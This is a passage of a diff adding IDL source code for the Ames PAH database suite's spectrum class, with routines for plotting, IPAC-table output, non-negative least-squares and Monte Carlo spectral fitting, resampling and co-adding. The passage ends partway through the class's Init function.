+    IF SIZE(*self.fwhm, /TYPE) EQ 8 THEN BEGIN
+
+      IF N_ELEMENTS((*self.fwhm)) GT 4 THEN fwhm = (*self.fwhm)[0:3].fwhm $
+      ELSE fwhm = (*self.fwhm).fwhm
+
+      fwhm = STRJOIN(STRTRIM(STRING(FORMAT='(g-7.3)', fwhm), 2), ",")
+
+      fwhm += ",..."
+
+      Str = [Str, STRING(FORMAT='(A-12,":",X,A-0,X,A-0)', "FWHM", fwhm, "cm!U-1!N")]
+
+      Str = [Str, STRING(FORMAT='(A-12,":",X,A-0)', "|_sectioned", "yes")]
+
+    ENDIF ELSE Str = [Str, STRING(FORMAT='(A-12,":",X,g-8.4,X,A-0)', "FWHM", *self.fwhm, "cm!U-1!N")]
+
+  ENDIF
+
+  Str = STRJOIN(Str, "!C")
+
+  IF N_PARAMS() GT 0 THEN RETURN
+
+  PRINT,STRJOIN(STRSPLIT(Str, "!C", /EXTRACT, /REGEX), STRING(10B))
+END
+
+;+
+;  Plot the spectrum.
+;
+;  :Keywords:
+;    Wavelength: in, optional, type=int
+;      Whether to set the abscissa units to wavelength
+;    Stick: in, optional, type=int
+;      Whether to plot the spectrum as sticks
+;    Fill: in, optional, type=int
+;       Whether to solid-fill the spectrum
+;    Oplot: in, optional, type=int
+;      Whether to draw over a previous plot
+;    Legend: in, optional, type=int
+;      Whether to show a legend
+;    Color: in, optional, type=int
+;      Color to plot the spectrum with
+;    _EXTRA: in, optional, type=struct
+;      Required for IDL's keyword-inheritance mechanism
+;
+; :Categories:
+;   PLOTTING
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Plot,Wavelength=Wavelength,Stick=Stick,Fill=Fill,Oplot=Oplot,Legend=Legend,Color=Color,_EXTRA=EXTRA
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  self->AmesPAHdbIDLSuite_Plot::Setup,Oplot=Oplot,XSIZE=600,YSIZE=400
+
+  x = *self.grid
+
+  nx = N_ELEMENTS(x)
+
+  xunits = self.units.abscissa.str
+
+  xrange = [MAX(x, MIN=xmin), xmin]
+
+  IF KEYWORD_SET(Wavelength) THEN BEGIN
+
+     x = 1D4 / x
+
+     xrange = [MIN(x, MAX=xmax), xmax]
+
+     xunits = 'wavelength [!Mm!Xm]'
+  ENDIF
+
+  IF NOT KEYWORD_SET(Oplot) THEN self->AmesPAHdbIDLSuite_Plot::Plot,REFORM(REBIN(x,nx,self.nuids),self.nuids*nx),(*self.data).intensity,Color=Color,XRANGE=xrange,XTITLE=xunits,YTITLE=self.units.ordinate.str,/NoData,Stick=Stick,_EXTRA=EXTRA
+
+  IF NOT KEYWORD_SET(Color) THEN Color = 2
+
+  h = HISTOGRAM((*self.data).uid, MIN=0, REVERSE_INDICES=ri)
+
+  FOR i = 0, self.nuids - 1 DO BEGIN
+
+     select = ri[ri[(*self.uids)[i]]:ri[(*self.uids)[i]+1]-1]
+
+     self->AmesPAHdbIDLSuite_Plot::Oplot,x,(*self.data)[select].intensity,Stick=Stick,Fill=Fill,COLOR=Color+i
+  ENDFOR
+
+  IF SIZE(Legend, /TYPE) EQ 0 THEN Legend = 1
+
+  IF Legend THEN BEGIN
+
+     self->Description,outs
+
+     self->AmesPAHdbIDLSuite_Plot::Legend,outs
+  ENDIF
+
+  self->AmesPAHdbIDLSuite_Plot::Restore
+END
+
+;+
+; Write the spectrum to file as an IPAC-table.
+;
+; :Params:
+;   Filename: in, optional, type=string
+;     Output filename
+;
+; :Categories:
+;   OUTPUT
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Write,Filename
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF N_PARAMS() LT 1 THEN Filename = OBJ_CLASS(self) + '.tbl'
+
+  timestamp = SYSTIME()
+  hdr = []
+  FXADDPAR,hdr,"DATE",timestamp," Date this file was generated"
+  FXADDPAR,hdr,"ORIGIN","NASA Ames Research Center"," Organization generating this file"
+  FXADDPAR,hdr,"CREATOR",STRING(FORMAT='("IDL",X,A0,X,"on",X,A0)', !VERSION.RELEASE, !VERSION.OS_NAME)," Software used to create this file"
+  FXADDPAR,hdr,"SOFTWARE","AmesPAHdbIDLSuite"," Program used to create this file"
+  FXADDPAR,hdr,"AUTHOR","Dr. C. Boersma"," Author of the program"
+  FXADDPAR,hdr,"TYPE",OBJ_CLASS(self)," AmesPAHdbIDLSuite data type"
+
+  self->Description,description
+
+  comments = STRSPLIT(description, "!C", /EXTRACT, /REGEX, COUNT=ncomments)
+
+  FOR i = 0L, ncomments - 1 DO FXADDPAR,hdr,"COMMENT",comments[i]
+
+  IF self.units.abscissa.str THEN $
+     abscissa = STREGEX(self.units.abscissa.str, '(.*) \[(.*)\]', /SUBEXPR, /EXTRACT) $
+  ELSE $
+     abscissa = ['', 'abscissa', '']
+
+  IF self.units.ordinate.str THEN $
+     ordinate = STREGEX(self.units.ordinate.str, '(.*) \[(.*)\]', /SUBEXPR, /EXTRACT) $
+  ELSE $
+     ordinate = ['', 'ordinate', '']
+
+  half_abscissa_len = STRLEN(abscissa[1]) / 2
+  half_ordinate_len = STRLEN(ordinate[1]) / 2
+
+  fmt1 = '("|",A' + STRING(FORMAT='(I0)', 12 + half_abscissa_len) + ',' + STRING(FORMAT='(I0)', 13 - half_abscissa_len) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)', 12 + half_ordinate_len) + ',' + STRING(FORMAT='(I0)', 13 - half_ordinate_len) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $
+          '"|")'
+
+  fmt2 = '("|",A' + STRING(FORMAT='(I0)', 12 + 3) + ',' + STRING(FORMAT='(I0)', 13 - 3) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)', 12 + 3) + ',' + STRING(FORMAT='(I0)', 13 - 3) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $
+          '"|")'
+
+  half_abscissa_len = STRLEN(abscissa[2]) / 2
+  half_ordinate_len = STRLEN(ordinate[2]) / 2
+
+  fmt3 = '("|",A' + STRING(FORMAT='(I0)', 12 + half_abscissa_len) + ',' + STRING(FORMAT='(I0)', 13 - half_abscissa_len) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)', 12 + half_ordinate_len) + ',' + STRING(FORMAT='(I0)', 13 - half_ordinate_len) + 'X,' + $
+          '"|",A' + STRING(FORMAT='(I0)',  6 + 3) + ',' + STRING(FORMAT='(I0)',  6 - 3) + 'X,' + $
+          '"|")'
+
+  cols = [STRING(FORMAT=fmt1,STRUPCASE(abscissa[1]),STRUPCASE(ordinate[1]),'UID'), $
+          STRING(FORMAT=fmt2,"double","double","int"), $
+          STRING(FORMAT=fmt3,abscissa[2],ordinate[2],"")]
+
+  n = N_ELEMENTS(*self.grid)
+  intensities = REFORM((*self.data).intensity, n, self.nuids)
+  srt = SORT(*self.uids)
+  intensities = intensities[*, srt]
+
+  OPENW,funit,Filename,/GET_LUN
+  PRINTF,funit,FORMAT='("\",A0)',hdr[0:WHERE(STRPOS(hdr, 'END') EQ 0)]
+  PRINTF,funit,STRJOIN(cols, STRING( 10B ))
+  n = N_ELEMENTS(*self.grid)
+
+  FOR i = 0L, self.nuids - 1L DO BEGIN
+     FOR j = 0L, n - 1L DO PRINTF,funit,FORMAT='(X,F25.6,X,F25.6,X,I)',(*self.grid)[j],intensities[j,i],(*self.uids)[i]
+  ENDFOR
+  CLOSE,funit
+  FREE_LUN,funit
+
+  PRINT
+  PRINT,"========================================================="
+  PRINT,"    WRITTEN IPAC TABLE: ", Filename
+  PRINT,"========================================================="
+  PRINT
+END
+
+;+
+;  Implementation of the non-negative least-squares algorithm.
+;
+;  :Params:
+;    A: in, required, type="double array (2D)"
+;      Matrix
+;    b: in, required, type="double array (1D)"
+;      Vector
+;    tol: in, optional, type=double
+;      Tolerance
+;    max_iter: in, optional, type=long
+;      Maximum number of iterations
+;
+; :Categories:
+;   FITTING
+;
+; :Private:
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::NNLS,A,b,tol,max_iter
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR, 2
+
+  IF N_PARAMS() LT 4 THEN BEGIN
+     max_iter = 100
+     IF N_PARAMS() LT 3 THEN tol = 1D-16
+  ENDIF
+
+  A        = DOUBLE(A)
+  b        = DOUBLE(b)
+  tol      = DOUBLE(tol)
+  max_iter = LONG(max_iter)
+
+  s_struct = SIZE(A, /STRUCTURE)
+  m        = s_struct.dimensions[0]
+  n        = s_struct.dimensions[1]
+  w        = MAKE_ARRAY(m, VALUE=-1D)
+  x        = DBLARR(m)
+  P        = !NULL
+  Z        = INDGEN(m)
+
+  k        = 0L
+
+  WHILE (Z NE !NULL) AND (k LT max_iter) DO BEGIN
+
+     IF WHERE(-w[Z] GT tol, /NULL) EQ !NULL THEN BREAK
+
+     k += 1L
+
+     tapbp = A#b
+
+     IF P EQ !NULL THEN BEGIN
+        w     = -tapbp
+     ENDIF ELSE BEGIN
+        tapap = A#TRANSPOSE(A[P, *])
+        w     = -tapbp + tapap#x[P]
+     ENDELSE
+
+     IF WHERE(-w[Z] GT tol, /NULL) EQ !NULL THEN BREAK
+
+     wi      = MAX(-w[Z], i)
+     P       = [P, Z[i]]
+     nz      = N_ELEMENTS(Z)
+     IF nz EQ 1 THEN BEGIN
+        Z = !NULL
+     ENDIF ELSE BEGIN
+        Z = Z[WHERE(HISTOGRAM([i], MIN=0, MAX=nz-1) EQ 0)]
+     ENDELSE
+
+     WHILE 1 DO BEGIN
+
+        zz    = DBLARR(m)
+        zz[P] = LA_LEAST_SQUARES(A[P,*],b)
+
+        IF WHERE(zz[P] LE 0, /NULL) EQ !NULL THEN BEGIN
+           x = zz
+           BREAK
+        ENDIF
+
+        P_ZN    = P[WHERE(zz[P] LE tol, /NULL)]
+        alpha   = MIN(x[P_ZN]/(x[P_ZN] - zz[P_ZN]))
+        x[P]    = x[P] + alpha*(zz[P]-x[P])
+        temp    = WHERE(ABS(x[P]) LE tol, /NULL)
+        Z       = [Z, P[temp]]
+        np      = N_ELEMENTS(P)
+        IF np EQ N_ELEMENTS(temp) THEN BEGIN
+           P = !NULL
+        ENDIF ELSE IF temp NE !NULL THEN BEGIN
+           P = P[WHERE(HISTOGRAM(temp, MIN=0, MAX=np-1) EQ 0)]
+        ENDIF
+     ENDWHILE
+  ENDWHILE
+  b=x
+  max_iter=k
+END
+
+;+
+;  Perform a spectroscopic fit.
+;
+;  :Returns:
+;    AmesPAHdbIDLSuite_Fitted_Spectrum
+;
+;  :Params:
+;    observation: in, required, type="double array (1D) or AmesPAHdbIDLSuite_Observation"
+;      Observed spectrum
+;    error: in, optional, type="double array (1D)"
+;      Uncertainties associated with observation
+;
+;  :Keywords:
+;    EXTERNAL_NNLS: in, optional, type=int
+;     Whether to use an externally defined NNLS-routine
+;    NOTICE: in, optional, type=int, default=1
+;     Whether to show notices
+;
+; :Categories:
+;   FITTING
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::Fit,observation,error,EXTERNAL_NNLS=external_nnls,Notice=Notice
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF SIZE(Notice, /TYPE) EQ 0 THEN Notice = 1
+
+  type = SIZE(observation, /STRUCTURE)
+
+  has_error = 0
+
+  IF type.type_name EQ 'OBJREF' THEN BEGIN
+
+     IF OBJ_CLASS(observation) EQ 'AMESPAHDBIDLSUITE_OBSERVATION' THEN BEGIN
+
+        observation->AbscissaUnitsTo,1,Notice=Notice
+
+        observation_s = observation->get()
+
+        IF NOT ARRAY_EQUAL(*self.grid, observation_s.data.x) THEN BEGIN
+           PRINT
+           PRINT,"========================================================="
+           PRINT,"      DATA AND OBSERVATION GRIDS ARE NOT THE SAME        "
+           PRINT,"========================================================="
+           PRINT
+           RETURN,OBJ_NEW()
+        ENDIF
+
+        IF TOTAL(observation_s.data.ystdev) GT 0 THEN has_error = 1
+     ENDIF ELSE BEGIN
+        PRINT
+        PRINT,"========================================================="
+        PRINT," OBJECT SHOULD BE AN AMESPAHDBIDLSUITE_OBSERVATION: "+type.type_name
+        PRINT,"========================================================="
+        PRINT
+        self.state = 0
+        RETURN,OBJ_NEW()
+     ENDELSE
+  ENDIF ELSE BEGIN
+
+     IF N_PARAMS() GT 1 THEN BEGIN
+
+        tmp = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $
+                      X=*self.grid, $
+                      Y=observation, $
+                      ErrY=error)
+
+        has_error = 1
+     ENDIF ELSE tmp = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $
+                              X=*self.grid, $
+                              Y=observation)
+
+     observation_s = tmp->get()
+
+     OBJ_DESTROY,tmp
+  ENDELSE
+
+  ny = N_ELEMENTS(observation_s.data.y)
+
+  matrix = TRANSPOSE(REFORM((*self.data).intensity, ny, self.nuids))
+
+  m = matrix
+
+  b = observation_s.data.y - observation_s.data.continuum
+
+  IF has_error THEN BEGIN
+
+     IF Notice THEN BEGIN
+       PRINT
+       PRINT,"========================================================="
+       PRINT,"                     DOING NNLC                          "
+       PRINT,"========================================================="
+       PRINT
+     ENDIF
+
+     b /= observation_s.data.ystdev
+
+     m /= TRANSPOSE(REBIN(observation_s.data.ystdev, ny, self.nuids))
+
+     method = 'NNLC'
+  ENDIF ELSE BEGIN
+     IF Notice THEN BEGIN
+       PRINT
+       PRINT,"========================================================="
+       PRINT,"                     DOING NNLS                          "
+       PRINT,"========================================================="
+       PRINT
+     ENDIF
+
+     method = 'NNLS'
+  ENDELSE
+
+  READS,!VERSION.RELEASE,idl_version
+
+  IF idl_version GE 8.0 AND NOT KEYWORD_SET(EXTERNAL_NNLS) THEN BEGIN
+
+     self->NNLS,m,b
+
+     weights = b
+  ENDIF ELSE IF NOT KEYWORD_SET(EXTERNAL_NNLS) THEN BEGIN
+     PRINT
+     PRINT,"========================================================="
+     PRINT,"         FIT REQUIRES IDL VERSION 8.0 OR HIGHER: "+!VERSION.RELEASE
+     PRINT,"========================================================="
+     PRINT
+     self.state = 0
+     RETURN,OBJ_NEW()
+  ENDIF ELSE BEGIN
+     IF Notice THEN BEGIN
+       PRINT
+       PRINT,"========================================================="
+       PRINT,"                   USING EXTERNAL NNLS                   "
+       PRINT,"========================================================="
+       PRINT
+     ENDIF
+     weights = DBLARR(self.nuids, /NOZERO)
+     enorm = 0D
+     w = DBLARR(self.nuids)
+     indx = LONARR(self.nuids)
+     mode = 0
+     NNLS,m,ny,self.nuids,b,weights,enorm,w,indx,mode
+  ENDELSE
+
+  valid = WHERE(weights GT 0, nvalid)
+
+  IF nvalid EQ 0 THEN BEGIN
+     PRINT
+     PRINT,"========================================================="
+     PRINT,"                UNABLE TO FIND SOLUTION                  "
+     PRINT,"========================================================="
+     PRINT
+     self.state = 0
+     RETURN,OBJ_NEW()
+  ENDIF
+
+  IF Notice THEN BEGIN
+    PRINT
+    PRINT,"========================================================="
+    PRINT," NOTICE: PLEASE TAKE CONSIDERABLE CARE WHEN INTERPRETING "
+    PRINT," THESE RESULTS AND PUTTING THEM IN AN ASTRONOMICAL       "
+    PRINT," CONTEXT. THERE ARE MANY SUBTLETIES THAT NEED TO BE TAKEN"
+    PRINT," INTO ACCOUNT, RANGING FROM PAH SIZE, INCLUSION OF       "
+    PRINT," HETEROATOMS, ETC. TO DETAILS OF THE APPLIED EMISSION    "
+    PRINT," MODEL, BEFORE ANY THOROUGH ASSESSMENT CAN BE MADE.      "
+    PRINT,"========================================================="
+    PRINT
+  ENDIF
+
+  uids = (*self.data)[UNIQ((*self.data).uid)].uid
+
+  _weights = REPLICATE({AmesPAHdbIDLSuite_Weights_S, $
+                        uid:0L, $
+                        weight:0D}, nvalid)
+
+  _weights.uid = uids[valid]
+
+  _weights.weight = weights[valid]
+
+  data = REPLICATE({AmesPAHdbIDLSuite_Fitted_S, $
+                    intensity:0D, $
+                    uid:0L}, ny * nvalid)
+
+  FOR i = 0, nvalid - 1 DO BEGIN
+
+     data[i*ny:(i+1)*ny-1].uid = uids[valid[i]]
+
+     data[i*ny:(i+1)*ny-1].intensity = weights[valid[i]] * REFORM(matrix[valid[i], *], /OVERWRITE)
+  ENDFOR
+
+  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_Fitted_Spectrum', $
+                 Type=self.type, $
+                 Version=self.version, $
+                 Data=data, $
+                 PAHdb=self.database, $
+                 Uids=uids[valid], $
+                 Model=*self.model, $
+                 Units=self.units, $
+                 Shift=self.shift, $
+                 Grid=*self.grid, $
+                 Profile=self.profile, $
+                 FWHM=self.fwhm NE !NULL ? *self.fwhm : !NULL, $
+                 Observation=observation_s, $
+                 Weights=_weights, $
+                 Method=method)
+END
+
+;+
+;  Perform spectroscopic fits using a Monte Carlo approach.
+;
+;  :Returns:
+;    AmesPAHdbIDLSuite_MCFitted_Spectrum
+;
+;  :Params:
+;    observation: in, required, type="double array (1D) or AmesPAHdbIDLSuite_Observation"
+;      Observed spectrum
+;    error: in, required, type="double array (1D)"
+;      Uncertainties associated with observation
+;    samples: in, required, type=int
+;      Number of Monte Carlo samples
+;
+;  :Keywords:
+;    UNIFORM: in, optional, type=int
+;     Whether to use a uniform rather than a normal distribution to permutate the errors.
+;    EXTERNAL_NNLS: in, optional, type=int
+;     Whether to use an externally defined NNLS-routine.
+;
+; :Categories:
+;   FITTING
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::MCFit,observation,error,samples,EXTERNAL_NNLS=external_nnls,Uniform=Uniform
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  type = SIZE(observation, /STRUCTURE)
+
+  IF type.type_name EQ 'OBJREF' THEN BEGIN
+
+    samples = error
+
+    obs = observation
+
+    obs_s = obs->Get()
+
+    y = obs_s.data.y
+    ystdev = obs_s.data.ystdev
+  ENDIF ELSE BEGIN
+
+     IF N_PARAMS() GT 1 THEN $
+       obs = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $
+                      X=*self.grid, $
+                      Y=observation, $
+                      ErrY=error) $
+     ELSE $
+       obs = OBJ_NEW('AmesPAHdbIDLSuite_Observation', $
+                     X=*self.grid, $
+                     Y=observation)
+
+     y = observation
+     ystdev = error
+  ENDELSE
+
+  ny = N_ELEMENTS(y)
+
+  obj = OBJARR(samples)
+
+  PRINT
+  PRINT,"========================================================="
+  PRINT,"                 DOING MONTE CARLO                       "
+  PRINT,"========================================================="
+  PRINT
+
+  PRINT
+  PRINT,"========================================================="
+  IF KEYWORD_SET(Uniform) THEN $ 
+     PRINT,"           DRAWING FROM UNIFORM DISTRIBUTION             " $
+   ELSE $
+     PRINT,"            DRAWING FROM NORMAL DISTRIBUTION          "
+  PRINT,"========================================================="
+  PRINT
+
+  PRINT
+  PRINT,"========================================================="
+  FOR i = 0L, samples - 1L DO BEGIN
+  
+    PRINT,FORMAT='("' + STRING(13B) + 'mc:",X,I5,"/",I5,$)',i+1L,samples
+
+    obs->Set,Y=y + ystdev * (NOT KEYWORD_SET(Uniform) ? RANDOMU(seed, ny, /DOUBLE, /NORMAL) $
+                                                      : (2D * RANDOMU(seed, ny, /DOUBLE, /UNIFORM) - 1D))
+
+    obj[i] = self->Fit(obs, EXTERNAL_NNLS=external_nnls, Notice=0)
+  ENDFOR
+  PRINT
+  PRINT,"========================================================="
+
+  IF type.type_name NE 'OBJREF' THEN OBJ_DESTROY,obs
+
+  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_MCFitted_Spectrum', $
+                  Type=self.type, $
+                  Obj=obj, $
+                  Distribution=KEYWORD_SET(Uniform) ? 'uniform' : 'normal')
+END
+
+;+
+;  Resample the spectrum onto a provided grid.
+;
+;  :Params:
+;    grid: in, required, type="double array (1D)"
+;      The grid
+;
+; :Categories:
+;   MANIPULATE
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Resample,grid
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF NOT PTR_VALID(self.data) THEN BEGIN
+     PRINT
+     PRINT,"========================================================="
+     PRINT,"                         NO DATA                         "
+     PRINT,"========================================================="
+     PRINT
+     self.state = 0
+     RETURN
+  ENDIF
+
+  ngrid1 = N_ELEMENTS(grid)
+
+  Data = REPLICATE({AmesPAHdbSpectrum_S, $
+                    intensity:0D, $
+                    uid:0L}, ngrid1 * self.nuids)
+
+  ngrid2 = N_ELEMENTS(*self.grid)
+
+  uids = (*self.data)[UNIQ((*self.data).uid)].uid
+
+  i = 0
+
+  FOR j = 0, ngrid1 - 1 DO BEGIN
+
+     idx = i
+
+     WHILE i + 1 LT ngrid2 - 1 DO BEGIN
+
+        IF (*self.grid)[i+1] GT grid[j] THEN BREAK
+
+        idx = [idx, ++i]
+     ENDWHILE
+
+     FOR k = 0, self.nuids - 1 DO BEGIN
+
+        Data[k*ngrid1+j].uid = uids[k]
+
+        IF N_ELEMENTS(idx) EQ 1 THEN BEGIN
+
+           IF (*self.grid)[i] GE grid[0] AND (*self.grid)[i] LE grid[ngrid1-1] THEN Data[k*ngrid1+j].intensity = (*self.data)[k*ngrid2+i].intensity
+        ENDIF ELSE Data[k*ngrid1+j].intensity = MEAN((*self.data)[k*ngrid2+idx].intensity)
+     ENDFOR
+  ENDFOR
+
+  PTR_FREE,self.grid
+
+  self.grid = PTR_NEW(grid)
+
+  PTR_FREE,self.data
+
+  self.data = PTR_NEW(Data)
+END
+
+;+
+;  Co-adds the spectra
+;
+;  :Returns:
+;    AmesPAHdb_Coadded_Spectrum
+;
+;  :Keywords:
+;    Weights: in, optional, type=struct
+;      Use the provided weights when co-adding
+;    Average: in, optional, type=int
+;      Take the average
+;
+; :Categories:
+;   CALCULATE
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::Coadd,Weights=weights,Average=Average
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  select1 = WHERE((*self.data).uid EQ (*self.uids)[0], nselect1)
+
+  data = REPLICATE({AmesPAHdbIDLSuite_Coadd_S, intensity:0D}, nselect1)
+
+  data.intensity = (*self.data)[select1].intensity
+
+  IF KEYWORD_SET(Weights) THEN BEGIN
+
+     select2 = WHERE(Weights.uid EQ (*self.uids)[0], nselect2)
+
+     IF nselect2 EQ 0 THEN BEGIN
+        PRINT
+        PRINT,"========================================================="
+        PRINT,"          NO WEIGHT DEFINED FOR UID: "+STRING(FORMAT='(I-0)',(*self.uids)[0])
+        PRINT,"========================================================="
+        PRINT
+        self.state = 0
+        RETURN,0
+     ENDIF
+
+     data.intensity *= Weights[select2].weight
+  ENDIF
+
+  FOR i = 1, self.nuids - 1 DO BEGIN
+
+     select1 = WHERE((*self.data).uid EQ (*self.uids)[i])
+
+     IF KEYWORD_SET(Weights) THEN BEGIN
+
+        select2 = WHERE(Weights.uid EQ (*self.uids)[i], nselect2)
+
+        IF nselect2 EQ 0 THEN BEGIN
+           PRINT
+           PRINT,"========================================================="
+           PRINT,"          NO WEIGHT DEFINED FOR UID: "+STRING(FORMAT='(I-0)',(*self.uids)[i])
+           PRINT,"========================================================="
+           PRINT
+           self.state = 0
+           RETURN,0
+        ENDIF
+
+       data.intensity += Weights[select2].weight * (*self.data)[select1].intensity
+    ENDIF ELSE data.intensity += (*self.data)[select1].intensity
+  ENDFOR
+
+  IF KEYWORD_SET(Average) THEN data.intensity /= self.nuids
+
+  RETURN,OBJ_NEW('AmesPAHdbIDLSuite_Coadded_Spectrum', $
+                 Type=self.type, $
+                 Version=self.version, $
+                 Data=data, $
+                 PAHdb=self.database, $
+                 Uids=*self.uids, $
+                 Model=*self.model, $
+                 Units=self.units, $
+                 Shift=self.shift, $
+                 Grid=*self.grid, $
+                 Profile=self.profile, $
+                 FWHM=*self.fwhm, $
+                 Weights=Weights, $
+                 Averaged=KEYWORD_SET(Average))
+END
+
+;+
+; Retrieves the AmesPAHdbIDLSuite_Spectrum representation in a
+; structure.
+;
+; :Returns:
+;   Structure
+;
+; :Categories:
+;   SET/GET
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::Get
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF NOT PTR_VALID(self.data) THEN RETURN, 0
+
+  struct = self->AmesPAHdbIDLSuite_Data::Get()
+
+  struct.type = OBJ_CLASS(self)+'_S'
+
+  RETURN,CREATE_STRUCT(struct, 'shift', self.shift, 'grid', *self.grid, 'profile', self.profile, 'fwhm', *self.fwhm)
+END
+
+;+
+; Populates the AmesPAHdbIDLSuite_Spectrum-instance.
+;
+; :Params:
+;   Struct: in, optional, type=struct
+;     Data structure
+;
+; :Keywords:
+;   Type: in, optional, type=string
+;     Type of Data
+;   Version: in, optional, type=string
+;    Versioning information
+;   Data: in, optional, type=struct
+;     Data structure
+;   PAHdb: in, optional, type=pointer
+;     Pointer to parsed database file
+;   Uids: in, optional, type="long array (1D)"
+;     UIDs in Data
+;   Model: in, optional, type=string
+;     References
+;   Units: in, optional, type="AmesPAHdb_Units_S struct"
+;     Units
+;   Shift: in, optional, type=float
+;     Shift
+;   Grid: in, optional, type="float array"
+;     Grid
+;   Profile: in, optional, type=string
+;     Profile
+;   FWHM: in, optional, type=float
+;     FWHM
+;
+; :Categories:
+;   SET/GET
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF N_PARAMS() GT 0 THEN BEGIN
+
+     tag = WHERE(TAG_NAMES(Struct) EQ 'TYPE', ntype)
+
+     IF ntype EQ 1 THEN BEGIN
+
+        IF Struct.(tag) EQ OBJ_CLASS(self)+'_S' THEN BEGIN
+
+           IF NOT KEYWORD_SET(Shift) THEN self.shift = Struct.shift
+
+           IF NOT KEYWORD_SET(Grid) THEN BEGIN
+
+              IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid
+
+              self.grid = PTR_NEW(Struct.grid)
+           ENDIF
+
+           IF NOT KEYWORD_SET(Profile) THEN self.profile = Struct.profile
+
+           IF NOT KEYWORD_SET(FWHM) THEN BEGIN
+
+              IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm
+
+              self.fwhm = PTR_NEW(Struct.fwhm)
+           ENDIF
+
+           s = Struct
+
+           s.type = 'AMESPAHDBIDLSUITE_Data_S'
+
+           self->AmesPAHdbIDLSuite_Data::Set,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units
+        ENDIF
+     ENDIF
+  ENDIF ELSE self->AmesPAHdbIDLSuite_Data::Set,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units
+
+  IF KEYWORD_SET(Shift) THEN self.shift = Shift
+
+  IF KEYWORD_SET(Grid) THEN BEGIN
+
+     IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid
+
+     self.grid = PTR_NEW(Grid)
+  ENDIF
+
+  IF KEYWORD_SET(Profile) THEN self.profile = Profile
+
+  IF KEYWORD_SET(FWHM) THEN BEGIN
+
+     IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm
+
+     self.fwhm = PTR_NEW(FWHM)
+  ENDIF
+END
+
+;+
+; Retrieves the abscissa valuesa.
+;
+; :Returns:
+;   double array (1D)
+;
+; :Categories:
+;   SET/GET
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::GetGrid
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  IF PTR_VALID(self.grid) THEN RETURN, *self.grid
+
+  RETURN,0
+END
+
+;+
+; Clean-up an AmesPAHdbIDLSuite_Spectrum-instance
+;
+; :Categories:
+;   CLASS
+;
+; :Private:
+;-
+PRO AmesPAHdbIDLSuite_Spectrum::Cleanup
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  self->AmesPAHdbIDLSuite_Plot::Cleanup
+
+  self->AmesPAHdbIDLSuite_Data::Cleanup
+
+  IF PTR_VALID(self.grid) THEN PTR_FREE,self.grid
+
+  IF PTR_VALID(self.fwhm) THEN PTR_FREE,self.fwhm
+END
+
+;+
+; Create an AmesPAHdbIDLSuite_Spectrum-instance
+;
+; :Returns:
+;   AmesPAHdbIDLSuite_Spectrum-instance
+;
+; :Params:
+;   Struct: in, optional, type=struct
+;     Data structure
+;
+; :Keywords:
+;   Type: in, optional, type=string
+;     Type of Data
+;   Version: in, optional, type=string
+;    Versioning information
+;   Data: in, optional, type=struct
+;     Data structure
+;   PAHdb: in, optional, type=pointer
+;     Pointer to parsed database file
+;   Uids: in, optional, type="long array (1D)"
+;     UIDs in Data
+;   Model: in, optional, type=string
+;     References
+;   Units: in, optional, type="AmesPAHdb_Units_S struct"
+;     Units
+;   Shift: in, optional, type=float
+;     Shift
+;   Grid: in, optional, type="float array"
+;     Grid
+;   Profile: in, optional, type=string
+;     Profile
+;   FWHM: in, optional, type=float
+;     FWHM
+;
+; :Categories:
+;   CLASS
+;-
+FUNCTION AmesPAHdbIDLSuite_Spectrum::Init,Struct,Type=Type,Version=Version,Data=Data,PAHdb=PAHdb,Uids=Uids,Model=Model,Units=Units,Shift=Shift,Grid=Grid,Profile=Profile,FWHM=FWHM
+
+  COMPILE_OPT IDL2
+
+  ON_ERROR,2
+
+  self.state = self->AmesPAHdbIDLSuite_Plot::Init()
+
+  IF self.state EQ 1 THEN BEGIN
+
